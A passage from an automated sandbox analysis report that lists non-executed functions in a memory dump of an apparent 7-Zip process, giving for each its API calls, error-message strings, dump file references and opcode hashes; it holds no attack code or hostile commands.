                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 84C08C1178224802CA09322B2FCA32C02020F8ABDAE5C50209E480BB52EA648CE29728

                                                                                                                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                                                                                                                    Function 00C8F1B4 Relevance: 79.1, APIs: 39, Strings: 6, Instructions: 318COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove
                                                                                                                                                                                                                                                                                    • String ID: Can not open mapping$Incorrect Map command$Map data error$MapViewOfFile error$Unsupported Map data$Unsupported Map data size
                                                                                                                                                                                                                                                                                    • API String ID: 1534225298-798110030
                                                                                                                                                                                                                                                                                    • Opcode ID: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
                                                                                                                                                                                                                                                                                    • Instruction ID: 7a23dac16a864e348a718eaec69682e2a0cabd728fe9b41047f02f15ad8d2ac2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3CC16E72214A4086DA10FF11F884B5EB761F7D5B94F54123AFA8F43A68DF38C986CB48
                                                                                                                                                                                                                                                                                    Function 00C8B114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188timeCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • FileTimeToLocalFileTime.KERNEL32 ref: 00C8B12A
                                                                                                                                                                                                                                                                                    • FileTimeToSystemTime.KERNEL32 ref: 00C8B13E
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Time$File$LocalSystem
                                                                                                                                                                                                                                                                                    • String ID: gfff
                                                                                                                                                                                                                                                                                    • API String ID: 1748579591-1553575800
                                                                                                                                                                                                                                                                                    • Opcode ID: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
                                                                                                                                                                                                                                                                                    • Instruction ID: 1150356e46116b14cd71a81603d0ccbea0b3752414a3f8bf55dda56f3a7b616b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4C519893B042C04BE7198B3DD846BDDBFC1E3A5758F08822ADB958B785E66DC50AC721
                                                                                                                                                                                                                                                                                    Function 00C97178 Relevance: 19.0, APIs: 15, Instructions: 200COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
                                                                                                                                                                                                                                                                                    • Instruction ID: 03ce4ce0db17e1ca98a5812b79c8b132d2600f23cc49e7e2a0d451c93743cfd6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f4d9c5df7f8b7d7a50d10b176def1ac906b2dbe33b2ad29e85ea175187436e74
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7F71BF32229A4081DF20EF26E9583AD7761FB85BD8F141232EF5E87765DF28C986D704
                                                                                                                                                                                                                                                                                    Function 00CC3148 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 52COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                                    • String ID: = $ERROR$ERRORS:$WARNING$WARNINGS:
                                                                                                                                                                                                                                                                                    • API String ID: 1795875747-2836439314
                                                                                                                                                                                                                                                                                    • Opcode ID: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
                                                                                                                                                                                                                                                                                    • Instruction ID: 3ef104c4bc2547284bdc29ac9b855676e203c6a3b4be424967d984fd562f3b45
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A21149A6310990A6FB259F66E945F5C6721F709BC4F48C22ACF5D03A65DF39CAA9C300
                                                                                                                                                                                                                                                                                    Function 00CC30CC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 32COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC30E7
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC3104
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC3114
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: free.MSVCRT ref: 00C8237E
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: fputs.MSVCRT ref: 00C823B8
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: free.MSVCRT ref: 00C823C4
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC3132
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs$free
                                                                                                                                                                                                                                                                                    • String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
                                                                                                                                                                                                                                                                                    • API String ID: 3873070119-2741933734
                                                                                                                                                                                                                                                                                    • Opcode ID: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
                                                                                                                                                                                                                                                                                    • Instruction ID: 2f7885d75cf16b77e74af770f92844109e3880e85e84e80dd19116428747e9d2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A5F04F65300D45A1FE10DF26E854B596366B759FC9F489237DE5E03370DE2CC64AC300
                                                                                                                                                                                                                                                                                    Function 00C8F0C8 Relevance: 11.3, APIs: 9, Instructions: 44COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
                                                                                                                                                                                                                                                                                    • Instruction ID: 56346bf7fffb4a9aeb883c1ff173abe760d5452278110de4220107e4d080f6ab
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 69bfdf775510731243c3de3a419cefae75036ebb294f2fdce68b442dc703e0d6
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 84012C737119808ACB10FE36DE9D16C3720EB96B9CB285175BF2D4B755DE60CC429348
                                                                                                                                                                                                                                                                                    Function 00CB3162 Relevance: 10.0, APIs: 8, Instructions: 42COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
                                                                                                                                                                                                                                                                                    • Instruction ID: 4149fc55c7e4d61be9f2b8209512cad6d6a446988376489ad87f9c2408166ef6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 22F01D3224A59085CA14FF32C59DA6E6751FBC7F89F243461EF4E63725DE28C806D708
                                                                                                                                                                                                                                                                                    Function 00CB30A8 Relevance: 10.0, APIs: 8, Instructions: 41COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
                                                                                                                                                                                                                                                                                    • Instruction ID: 4ca389a468981cbc2c8403395556564b12e6e834a869b541210eae7d647e0ef1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C3F01D3224A98041CA14FF32C5ADA6F6710F7C3F89F253051AF4E23715CE28C846E308
                                                                                                                                                                                                                                                                                    Function 00C811B8 Relevance: 8.8, APIs: 7, Instructions: 84COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1534225298-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
                                                                                                                                                                                                                                                                                    • Instruction ID: 5361ff6d2e02ff831ae41ebb0f081a9c7866e1a0f8613b5e438a61d27328bfa8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3421E87221594091CE20FF20E85515EA760EBC2BD8F582221FF6E877B9DF28CA47D708
                                                                                                                                                                                                                                                                                    Function 00CAD078 Relevance: 8.8, APIs: 7, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
                                                                                                                                                                                                                                                                                    • Instruction ID: 50c3659e7c4eb3817a4739af1786949307f412dd7e8f3a5ccbc7c4ab31ef5bbe
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A4110C3320298485CB11BF35D95966D2320EB87FACF2952719F6E577A9CE24CC46D318
                                                                                                                                                                                                                                                                                    Function 00C90160 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 123COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C901D7
                                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT ref: 00C902EA
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8FD30: _CxxThrowException.MSVCRT ref: 00C8FE50
                                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT ref: 00C9031F
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    • There is no second file name for rename pair:, xrefs: 00C90302
                                                                                                                                                                                                                                                                                    • Empty file path, xrefs: 00C902CD
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$free
                                                                                                                                                                                                                                                                                    • String ID: Empty file path$There is no second file name for rename pair:
                                                                                                                                                                                                                                                                                    • API String ID: 3129652135-1725603831
                                                                                                                                                                                                                                                                                    • Opcode ID: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
                                                                                                                                                                                                                                                                                    • Instruction ID: 94a9c147746c1d760c4ee596aa1a6195a9abb206cf1252fc1d611a6a4e847428
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4641A272205AC489CE30EB19E84879E6720F3967B8F604716DEB9077E9DB38C596DB40
                                                                                                                                                                                                                                                                                    Function 00CC7080 Relevance: 7.6, APIs: 6, Instructions: 77COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
                                                                                                                                                                                                                                                                                    • Instruction ID: dfbab894ad64c2e5a853f337143eb2edea4e54c800762ea915e684664fa827aa
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 07212767702A408ACB25AF26D954B2D6720EB85FA8F294369DF3D1B798CF35C902C710
                                                                                                                                                                                                                                                                                    Function 00CC10C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CriticalSection$EnterLeavefputs
                                                                                                                                                                                                                                                                                    • String ID: ERROR:
                                                                                                                                                                                                                                                                                    • API String ID: 4171338575-977468659
                                                                                                                                                                                                                                                                                    • Opcode ID: be048cf6878443a2184a7b989802cb390b223653ec2da76719a795addb1c1f7a
                                                                                                                                                                                                                                                                                    • Instruction ID: 3af3784cafd2ae15173535e25391b97cc30ea142db66811bc9572143772205d2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: be048cf6878443a2184a7b989802cb390b223653ec2da76719a795addb1c1f7a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4C11B23230198085EB05DF26EC54BAC2361FB86FA9F5C4335DE2E4B2A5CF388445C314
                                                                                                                                                                                                                                                                                    Function 00CB71BC Relevance: 6.5, APIs: 5, Instructions: 203COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ErrorLast
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 408039514-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
                                                                                                                                                                                                                                                                                    • Instruction ID: 78d6cf55a48032adc1e9fbe50da1d2d0ea626777568cccf3c4e19a2907ce7b36
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
